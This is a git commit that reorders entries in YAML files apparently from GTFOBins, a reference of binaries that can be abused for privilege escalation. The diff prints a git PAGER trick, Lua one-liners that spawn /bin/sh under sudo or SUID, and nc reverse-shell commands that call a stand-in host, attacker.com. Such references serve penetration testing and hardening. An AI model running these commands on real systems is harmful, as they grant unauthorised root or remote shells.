Reorder functions in git, lua, and nc

This commit is contained in:
Emilio Pinna 2018-07-22 15:42:43 +01:00
parent 38cd886b36
commit 0f422cdd6a
3 changed files with 12 additions and 12 deletions

View File

@ -4,12 +4,12 @@ functions:
- code: | - code: |
export PAGER=/usr/bin/id export PAGER=/usr/bin/id
git -p help git -p help
suid-limited:
- code: |
export PAGER=/usr/bin/id
./git -p help
sudo-enabled: sudo-enabled:
- code: | - code: |
export PAGER=/usr/bin/id export PAGER=/usr/bin/id
sudo -E git -p help sudo -E git -p help
suid-limited:
- code: |
export PAGER=/usr/bin/id
./git -p help
--- ---

View File

@ -59,8 +59,8 @@ functions:
- code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("data"); io.close(f);' - code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("data"); io.close(f);'
file-read: file-read:
- code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);' - code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
suid-limited:
- code: ./lua -e 'os.execute("/bin/sh")'
sudo-enabled: sudo-enabled:
- code: sudo lua -e 'os.execute("/bin/sh")' - code: sudo lua -e 'os.execute("/bin/sh")'
suid-limited:
- code: ./lua -e 'os.execute("/bin/sh")'
--- ---

View File

@ -24,16 +24,16 @@ functions:
LPORT=12345 LPORT=12345
LFILE=file_to_save LFILE=file_to_save
nc -l -p $LPORT > "$LFILE" nc -l -p $LPORT > "$LFILE"
suid-limited:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.
code: |
RHOST=attacker.com
RPORT=12345
./nc -e /bin/sh $RHOST $RPORT
sudo-enabled: sudo-enabled:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional. - description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.
code: | code: |
RHOST=attacker.com RHOST=attacker.com
RPORT=12345 RPORT=12345
sudo nc -e /bin/sh $RHOST $RPORT sudo nc -e /bin/sh $RHOST $RPORT
suid-limited:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.
code: |
RHOST=attacker.com
RPORT=12345
./nc -e /bin/sh $RHOST $RPORT
--- ---